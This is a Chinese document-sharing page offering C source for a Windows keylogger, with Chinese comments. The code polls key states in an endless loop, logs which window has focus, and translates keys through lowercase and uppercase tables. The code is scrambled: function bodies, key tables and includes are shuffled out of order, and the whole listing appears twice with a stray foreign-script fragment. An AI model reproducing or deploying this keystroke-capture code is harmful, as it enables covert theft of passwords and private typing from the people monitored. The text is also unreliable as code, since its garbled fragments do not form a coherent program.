c语言键盘记录器(注释为汉语)
合集下载
相关主题
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"`"ຫໍສະໝຸດ "1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"[TAB]",
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"'",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
/*由TSLin汉化,可能注释存在一些语言上的缺点*/
#include <windows.h>
#include <stdio.h>
// 一些全局变量
// 小写字母键 & 其它的一些键
char *LowerCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
105,
110,
};
HWND PreviousFocus=NULL;
// 数据结束
// 函数原型生命
//----------------------------------------------------------------------
BOOL IsWindowsFocusChange();
}
else
if (strlen(KeyBuffer) > 550) // 缓冲区满
{
printf("%s <Buffer Full>",KeyBuffer); // 显示键检索
memset(KeyBuffer,0,sizeof(KeyBuffer)); // 重置缓冲区
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
x = SpecialKeys[i]; // 找到这个键
if (GetAsyncKeyState(x) & 0x8000) // 检查键的组合
{
// 看看CapsLocak或shift键是否按下
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) // 如果没按下Caps Lock键和Shift键
}
// 主要过程结束
//-------------------------------------------------------------------------
// 目的: 要检查活动窗口标题
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"<",
">",
".?",
"|",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Left]",
"[UP]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
// 大写字母键 & 其它一些键
char *UpperCase[]={
",",
".",
"/",
"\\",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
GetWindowText(hFocus,WindowCaption,(WinLeng + 1)); // 活动窗口标题检索
if (strlen(WindowCaption) > 0) // 如果获得的是真正的窗口标题
{
printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // 显示活动窗口的标题
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"~",
"!",
"@",
"#",
"$",
"%",
"^",
"9",
".",
};
// Ascii码键,忘掉它们
int SpecialKeys[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
{
bKstate[x] = 2; //小写字母 a-z
}
else
if (shift < 0) // 按下 shift 键
{
bKstate[x] = 3; //大写字母 A-Z
bKstate[x] = 0; // 重置当前状态
if (x == 8) // 如果检测到删除键
{
KeyBuffer[strlen(KeyBuffer) - 1] = 0; // 一键恢复
continue; // 启动一个新的循环
while(TRUE) // 创造一个死循环(无限次获得用户的键盘内容)
{
Sleep(8); // 避免过度占用CPU
if (IsWindowsFocusChange()) //检查活动窗口标题
{
if (strlen(KeyBuffer) != 0) // 如果按下了键
{
printf("%s\r\n",KeyBuffer); // 显示按下的这个键
memset(KeyBuffer,0,sizeof(KeyBuffer)); // 重置缓冲区
}
}
for(i=0;i<95;i++) // 检查视觉的循环
{
shift = GetKeyState(VK_SHIFT); // 检查是否按下 shift 键
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow(); // 检索活动窗口焦点
BOOL ReturnFlag = FALSE; // 声明返回标志
if (hFocus != PreviousFocus) // 如果活动窗口已更改
{
bKstate[x] = 1; //大写字母 A-Z
}
else
if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //如果按下了Caps Lock键和Shift键
ReturnFlag=TRUE; // 指示已更改 Windows 的焦点
}
free(WindowCaption); // 释放已分配的内存
}
return ReturnFlag; // 返回标志
}// 结束获得窗口焦点变化
//-------------------------------------------------------------------------
// 目的: 管理(显示)检测到的来自系统密钥缓冲区的键
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
BOOL KeyLogger()
{
int bKstate[256] = {0}; // 关键声明
int i,x;
char KeyBuffer[600]; // 缓冲区数组
int state; // 记录一些特别的键,像CapsLock,Shift和ect
int shift;
// 重置缓冲区
memset(KeyBuffer,0,sizeof(KeyBuffer));
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
"&",
"*",
"(",
")",
"_",
"+",
"[TAB]",
"Q",
"W",
"E",
"R",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"`"ຫໍສະໝຸດ "1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"[TAB]",
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"'",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
/*由TSLin汉化,可能注释存在一些语言上的缺点*/
#include <windows.h>
#include <stdio.h>
// 一些全局变量
// 小写字母键 & 其它的一些键
char *LowerCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
105,
110,
};
HWND PreviousFocus=NULL;
// 数据结束
// 函数原型生命
//----------------------------------------------------------------------
BOOL IsWindowsFocusChange();
}
else
if (strlen(KeyBuffer) > 550) // 缓冲区满
{
printf("%s <Buffer Full>",KeyBuffer); // 显示键检索
memset(KeyBuffer,0,sizeof(KeyBuffer)); // 重置缓冲区
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
x = SpecialKeys[i]; // 找到这个键
if (GetAsyncKeyState(x) & 0x8000) // 检查键的组合
{
// 看看CapsLocak或shift键是否按下
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) // 如果没按下Caps Lock键和Shift键
}
// 主要过程结束
//-------------------------------------------------------------------------
// 目的: 要检查活动窗口标题
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"<",
">",
".?",
"|",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Left]",
"[UP]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
// 大写字母键 & 其它一些键
char *UpperCase[]={
",",
".",
"/",
"\\",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
GetWindowText(hFocus,WindowCaption,(WinLeng + 1)); // 活动窗口标题检索
if (strlen(WindowCaption) > 0) // 如果获得的是真正的窗口标题
{
printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // 显示活动窗口的标题
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"~",
"!",
"@",
"#",
"$",
"%",
"^",
"9",
".",
};
// Ascii码键,忘掉它们
int SpecialKeys[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
{
bKstate[x] = 2; //小写字母 a-z
}
else
if (shift < 0) // 按下 shift 键
{
bKstate[x] = 3; //大写字母 A-Z
bKstate[x] = 0; // 重置当前状态
if (x == 8) // 如果检测到删除键
{
KeyBuffer[strlen(KeyBuffer) - 1] = 0; // 一键恢复
continue; // 启动一个新的循环
while(TRUE) // 创造一个死循环(无限次获得用户的键盘内容)
{
Sleep(8); // 避免过度占用CPU
if (IsWindowsFocusChange()) //检查活动窗口标题
{
if (strlen(KeyBuffer) != 0) // 如果按下了键
{
printf("%s\r\n",KeyBuffer); // 显示按下的这个键
memset(KeyBuffer,0,sizeof(KeyBuffer)); // 重置缓冲区
}
}
for(i=0;i<95;i++) // 检查视觉的循环
{
shift = GetKeyState(VK_SHIFT); // 检查是否按下 shift 键
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow(); // 检索活动窗口焦点
BOOL ReturnFlag = FALSE; // 声明返回标志
if (hFocus != PreviousFocus) // 如果活动窗口已更改
{
bKstate[x] = 1; //大写字母 A-Z
}
else
if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //如果按下了Caps Lock键和Shift键
ReturnFlag=TRUE; // 指示已更改 Windows 的焦点
}
free(WindowCaption); // 释放已分配的内存
}
return ReturnFlag; // 返回标志
}// 结束获得窗口焦点变化
//-------------------------------------------------------------------------
// 目的: 管理(显示)检测到的来自系统密钥缓冲区的键
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
BOOL KeyLogger()
{
int bKstate[256] = {0}; // 关键声明
int i,x;
char KeyBuffer[600]; // 缓冲区数组
int state; // 记录一些特别的键,像CapsLock,Shift和ect
int shift;
// 重置缓冲区
memset(KeyBuffer,0,sizeof(KeyBuffer));
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
"&",
"*",
"(",
")",
"_",
"+",
"[TAB]",
"Q",
"W",
"E",
"R",